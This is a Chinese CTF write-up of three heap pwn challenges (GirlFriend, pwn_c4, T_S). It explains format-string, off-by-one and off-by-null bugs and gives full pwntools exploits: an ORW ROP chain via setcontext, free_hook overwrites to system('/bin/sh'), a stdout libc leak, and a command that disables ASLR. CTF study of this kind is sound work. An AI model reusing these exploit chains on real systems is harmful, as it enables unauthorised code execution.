比赛只出了一道pwn,摸了。题目链接 ,提取码:hi98
GirlFriend 程序分析 ida打开文件后发现函数体内啥也没有。
汇编中有call $+5这样一条指令,类似于重定位,这对我们来说肯定是干扰,我们需要patch修复一下。
修复方法参考如下
就是把call $+5全都改成jmp
【下条指令地址加上其偏移】,修复后就可以看见函数代码了,程序中有很多需要修复的地方,同样的方法改一下就好。
全都修复好就可以正式分析了,程序逻辑很简单,漏洞点主要有两处,格式化字符串和off by one,当然还有个隐藏的后门功能,可以泄露堆地址。
利用思路 我遇到的格式化字符串在堆题中大部分作用就是辅助泄露libc
,同样这里我们也可以用来泄露libc
。
程序开了沙箱,只能orw
了,经典利用free_hook+setcontext来读取flag
调试过程 libc泄露
常规泄露的话就是用%p来打印栈中数据,还可以用%7$p
指定参数位置,但程序开了FORTIFY
防护,不能跳跃使用%N$这种格式的输入。也就是说如果要使用 %3$p
,则必须同时使用 %1$p
和 %2$p
于是去搜索了一下printf_chk格式化字符串相关的利用方法,发现还有%a
泄露libc的方法(第一次见)。
但他的输出格式有点特别,需要匹配一下再接收,下个断点gdb动态调一下就可以得到libc基址了。
堆地址泄露
这个直接调用程序中的后门函数即可
offbyone
构造overlap chunk
主要时间花费在这部分,程序实际的功能只有一个,但这个功能是用realloc
实现的,为什么不用malloc
要用realloc
,肯定有点猫腻。
他的基础功能是改变mem_ptr
所指内存区域的大小为new_size
长度。这里有几种不同的情况
当size为0,这时就相当于free()函数,同时返回值为null
当指针为0,size大于0,相当于malloc函数
size小于等于原来的size,则在原先的基础上缩小,多余的free掉
size大于原来的size,如果有空间就原基础扩充,空间不足则分配新的内存,将内容复制到新的内存中,然后再将原来的内存free掉
off by one
,常见的手法就是改堆块的size构造出堆块重叠了。
布局也不是很复杂,如下即可,通过编辑chunk0
溢出到chunk1
的size位,将chunk1
的size改成chunk1
+chunk2
的size总和。为了方便起见,我是选择了让chunk1
的size为0x101
,chunk2
的size为0xAA
,这样的话,只需将chunk1
的size低位字节改成chunk2
的size大小即可。
1 2 3 4 add(0x300 , 'aaa' ) add(0x230 , 'aaa' ) add(0x138 , 'aaa' ) re(0 )
再申请一个0x138
大小的chunk就可以拿到chunk0
了,进而修改chunk1
的size
1 2 add(0x138 , 'a' *0x138 + '\xd0' ) re(0 )
这时候再把chunk1
申请过来然后释放掉,chunk1
就进入0x1d0
的tcache bin
里了。
那么接下来把这个0x1d0
的overlaped chunk
申请下来就可以修改chunk2
的fd
了
后面的操作也都是模板了,不多赘述
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from pwn import * context.log_level = 'debug' binary = './girlfriend' elf = ELF(binary) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) local = 1 if local: p = process(binary)else : p = remote('123.60.63.90' , 49156 )def add (size, content ): p.sendlineafter('>> ' , '1' ) p.sendlineafter('size\n' , str (size)) p.sendafter('data\n' , content)def re (size ): p.sendlineafter('>> ' , '1' ) p.sendlineafter('size\n' , str (size))def show (): p.sendlineafter('>> ' , '4' )def exit (): p.sendlineafter('>> ' , '3' ) gdb.attach(p) p.sendlineafter('? \n\n\n' , '78' ) p.sendafter('reason\n' , '%a' ) p.recvuntil('0x0.0' ) libc_base = int (p.recvline()[:12 ], 16 ) - libc.sym['_IO_2_1_stdout_' ] - 131 success('libc_base -> {}' .format (hex (libc_base))) setcontext = libc_base + libc.sym['setcontext' ] + 0x35 free_hook = libc_base + libc.sym['__free_hook' ] exit() p.sendlineafter('? \n\n\n' , '89' ) add(0x300 , 'aaa' ) show() heap_base = u64(p.recv(6 ).ljust(8 , b'\x00' )) success('heap_base -> {}' .format (hex (heap_base))) flag_path = heap_base + 0x1d8 add(0x230 , 'aaa' ) add(0x138 , 'aaa' ) re(0 ) add(0x138 , 'a' *0x138 + '\xd0' ) re(0 ) add(0xf0 , 'bbb' ) re(0 ) pop_rdi_ret = libc_base + 0x215bf pop_rsi_ret = libc_base + 0x23eea pop_rdx_ret = libc_base + 0x1b96 pop_rax_ret = libc_base + 0x43ae8 ret = libc_base + 0x8aa Read = libc_base + libc.sym['read' ] Write = libc_base + libc.sym['write' ] syscall = Read + 15 orw = p64(pop_rdi_ret) + p64(flag_path) orw += p64(pop_rsi_ret) + p64(0 ) orw += p64(pop_rax_ret) + p64(2 ) orw += p64(syscall) orw += p64(pop_rdi_ret) + p64(3 ) orw += p64(pop_rsi_ret) + p64(flag_path) orw += p64(pop_rdx_ret) + p64(0x41 ) orw += p64(Read) orw += p64(pop_rdi_ret) + p64(1 ) orw += p64(Write) payload = orw + './flag' .ljust(8 , '\x00' ) payload = 'a' *0x10 + payload add(0x1c0 , payload.ljust(0xf8 , '\x00' ) + p64(0xb1 ) + p64(free_hook)) re(0 ) add(0xc0 , 'a' *0x10 ) re(0 ) add(0xc0 , p64(setcontext).ljust(0xa0 , 'a' ) + p64(heap_base+0x150 ) + p64(ret)) re(0 ) p.interactive()
pwn_c4 这个题ida一打开就有关掉的冲动,完全逆不动。但结合题目的描述:编辑器/uaf
猜测这个题实现了一个小型的C语言编译器,可以编译我们输入的C语言代码,同时可以从ida中看到如下的字符串,应该就是提示我们可以用以下关键字。
1 buf = "char else enum if int return sizeof while open read close printf malloc free memset memcmp exit void main" ;
google搜索pwn c4可以也可以搜到历史有相关的考点。
https://xuanxuanblingbling.github.io/ctf/pwn/2020/05/10/boom/
利用思路 通过执行C语言代码拿到程序shell
调试过程 先写个程序试试怎么用,经典hello world!
,发现确实有输出。
再来个打印堆地址看看,我申请了一个块超级大的堆块,使用mmap系统调用,地址应该是跟libc接近,也同样可以打印出来,这也就验证了我们前面的猜想。
接下来就是写程序拿shell了,libc可以通过计算那个mmap出来的堆地址之间的偏移来获得,打远程的话就加载远程的使用的那个libc计算这个偏移。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import * context.log_level = 'debug' binary = './c4' local = 1 if local: p = process(binary) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' )else : libc = ELF(libc-2.27 .so) p = remote('' ) elf = ELF(binary) payload = ''' void main() { int libc_base, system, free_hook; libc_base = (int)malloc(0x21000) - 0x498010; printf("libc_base -> %p", libc_base); system = libc_base + 0x4f550; free_hook = libc_base + 0x3ed8e8; *(int*)free_hook = system; free("/bin/sh"); } ''' p.send(payload) p.interactive()
T_S 比赛的时候就载在这里了,做题太心急了,没仔细观察,导致看了半天都没找到漏洞点在哪,这个题的edit函数也用重定位藏了一段代码,把call $+5
修复一下就好。害,阴间出题人。
程序分析 修复后的的代码如下
中间那个三层for循环也是个唬人的阴间操作,两两交换又还原,相当于啥也没干。重点是最后一个循环,遍历堆块的每一个字节,判断是否等于1,如果所有字节都等于1最后就有一个赋0操作,也就是off by null
。撒花,直接套模板。
利用思路 利用off by null漏洞构造出overlap chunk,libc 2.29以上利用off by null需要绕过两个check,一个是向低地址合并的检测:
1 2 if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size while consolidating" );
另一个是unlink的检测
1 2 if (__builtin_expect (FD->bk != P || BK->fd != P, 0 )) malloc_printerr (check_action, "corrupted double-linked list" , P, AV);
prevsize是我们控制的,很好伪造,重点是绕过unlink的检查,程序有show功能,可以直接泄露堆地址,也就很容易绕过unlink的检测构造出overlapped chunk。
有了重叠的堆块就可以很愉快的操作了,通过unsorted bin的地址踩出_IO_2_1_stdout进而泄露libc,再就是改free_hook了。
调试过程 泄露堆地址
申请两个同样大小的堆块,再free掉,形成单链表,申请一个回来再show一下就可以拿到堆地址了。
1 2 3 4 5 6 add(0x10 ) add(0x10 ) free(0 ) free(1 ) add(0x10 ) show(0 )
off by null
堆块布局如下,三个连续的chunk,这里的0,1,2并不与后面的exp堆块编号对应,只是简化描述而已。
上述布局有几个注意点的,为了绕过第一个检测,我们需要让pre_size等于chunk_size,chunk的size我们不好实际控制,所以再chunk0中构造一个fake_chunk,让这个fake_chunk的fake_size等于chunk0_size+chunk1_size-0x10
。为了绕过第二个检测,需要让fake_fd和fake_bk指向它自己。并且同过off by null漏洞把chunk2的prev_inuse位置为0。
这些操作完成了,再free chunk2的时候,glibc就会根据prev_size找到fake_chunk,再进行unlink脱链操作。
下面为exp的chunk编号,0,1用来泄露堆地址了,与上述编号有出入。
1 2 3 4 5 6 7 8 9 add(0x100) #2 工具堆块 伪造fake_chunk add(0x78) #3 工具堆块 用来修改chunk4的prev_size和触发off by null漏洞 add(0x4f0) #4 工具堆块,为了让chunk进入unsorted bin add(0x100) #5 避免top_chunk合并 add(0x78) #6 工具堆块 让tcahe bin链表的数量为正 edit(2, p64(0)+p64(0x100+0x81)+p64(heap_base+0x2e0)*2) edit(3, '\x01'*0x78) edit(3, b'a'*0x70 + p64(0x180))
然后把chunk4给free掉,就触发合并了。
泄露libc
通过切割unsorted bin,把unsorted bin的地址链到tcache上,爆破一位,把unsorted bin的地址改成__IO_2_1_stdout_的地址。
为了调试方便可以关掉本地的地址随机化echo 0 > /proc/sys/kernel/randomize_va_space
1 2 3 4 5 free(6 ) free(3 ) add(0xf0 ) add(0x10 ) edit(4 , p16(0xc6a0 ))
接下来把_IO_2_1_stdout_申请下来并修改成p64(0xfbad3887)+p64(0)*3 + p8(0)
,就可以泄露libc了。
1 2 3 add(0x78 ) add(0x78 ) edit(7 , p64(0xfbad3887 )+p64(0 )*3 + p8(0 ))
同样的,把free_hook链到tcache bin上,这次我用到了第一次泄露堆地址申请的小堆块。
1 2 3 free(0 ) free(4 ) edit(6 , p64(free_hook))
再把free_hook申请下来,改成system的地址,接着free一块写着”/bin/sh\x00”字符串的堆块就能拿到shell了。
1 2 3 4 5 add(0x10 ) add(0x10 ) edit(4 , p64(system)) edit(1 , '/bin/sh\x00' ) free(1 )
exp 本地调试版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from pwn import * context.log_level = 'debug' binary = './pwn' elf = ELF(binary) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) local = 1 if local: p = process(binary)else : p = remote('123.60.63.28' , 49156 )def add (size ): p.sendlineafter('>>\n' , '1' ) p.sendlineafter('length\n' , str (size))def free (index ): p.sendlineafter('>>\n' , '3' ) p.sendlineafter('idx:\n' , str (index))def edit (index, content ): p.sendlineafter('>>\n' , '2' ) p.sendlineafter('idx:\n' , str (index)) p.sendafter('name:\n' , content)def show (index ): p.sendlineafter('>>\n' , '4' ) p.sendlineafter('idx:\n' , str (index)) add(0x10 ) add(0x10 ) free(0 ) free(1 ) add(0x10 ) show(0 ) p.recvuntil('Name:\n' ) heap_base = u64(p.recv(6 ).ljust(8 , b'\x00' )) & 0xfffffffff000 success('heap_base -> {}' .format (hex (heap_base))) add(0x18 ) add(0x100 ) add(0x78 ) add(0x4f0 ) add(0x100 ) add(0x78 ) edit(2 , p64(0 )+p64(0x100 +0x81 )+p64(heap_base+0x2e0 )*2 ) edit(3 , '\x01' *0x78 ) edit(3 , b'a' *0x70 + p64(0x180 )) free(4 ) free(6 ) free(3 ) add(0xf0 ) add(0x10 ) edit(4 , p16(0xc6a0 )) add(0x78 ) add(0x78 ) edit(7 , p64(0xfbad3887 )+p64(0 )*3 + p8(0 )) libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 0x1eb980 success('libc_base -> {}' .format (hex (libc_base))) free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] free(0 ) free(4 ) edit(6 , p64(free_hook)) add(0x10 ) add(0x10 ) edit(4 , p64(system)) edit(1 , '/bin/sh\x00' ) free(1 ) p.interactive()
常规爆破版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 from pwn import * context.log_level = 'debug' binary = './pwn' elf = ELF(binary)def add (size ): p.sendlineafter('>>\n' , '1' ) p.sendlineafter('length\n' , str (size))def free (index ): p.sendlineafter('>>\n' , '3' ) p.sendlineafter('idx:\n' , str (index))def edit (index, content ): p.sendlineafter('>>\n' , '2' ) p.sendlineafter('idx:\n' , str (index)) p.sendafter('name:\n' , content)def show (index ): p.sendlineafter('>>\n' , '4' ) p.sendlineafter('idx:\n' , str (index))def exp (): add(0x10 ) add(0x10 ) free(0 ) free(1 ) add(0x10 ) show(0 ) p.recvuntil('Name:\n' ) heap_base = u64(p.recv(6 ).ljust(8 , b'\x00' )) & 0xfffffffff000 success('heap_base -> {}' .format (hex (heap_base))) add(0x18 ) add(0x100 ) add(0x78 ) add(0x4f0 ) add(0x100 ) add(0x78 ) edit(2 , p64(0 )+p64(0x100 +0x81 )+p64(heap_base+0x2e0 )*2 ) edit(3 , '\x01' *0x78 ) edit(3 , b'a' *0x70 + p64(0x180 )) free(4 ) free(6 ) free(3 ) add(0xf0 ) add(0x10 ) edit(4 , p16(0xc6a0 )) add(0x78 ) add(0x78 ) edit(7 , p64(0xfbad3887 )+p64(0 )*3 + p8(0 )) libc_base = u64(p.recvuntil('\x7f' , timeout=1 )[-6 :].ljust(8 , b'\x00' )) - 0x1eb980 if libc_base < 0x7f0000000000 : raise "once again" success('libc_base -> {}' .format (hex (libc_base))) free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] free(0 ) free(4 ) edit(6 , p64(free_hook)) add(0x10 ) add(0x10 ) edit(4 , p64(system)) edit(1 , '/bin/sh\x00' ) free(1 ) p.interactive()if __name__ == '__main__' : while True : try : local = 1 if local: p = process(binary) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) else : p = remote('123.60.63.28' , 49156 ) libc = ELF('./libc-2.31.so' ) exp() break except : p.close()
BabyPwn Bios,摸了,根本没看。队友搞了一天,最后还是卡住了,等wp出了再来复现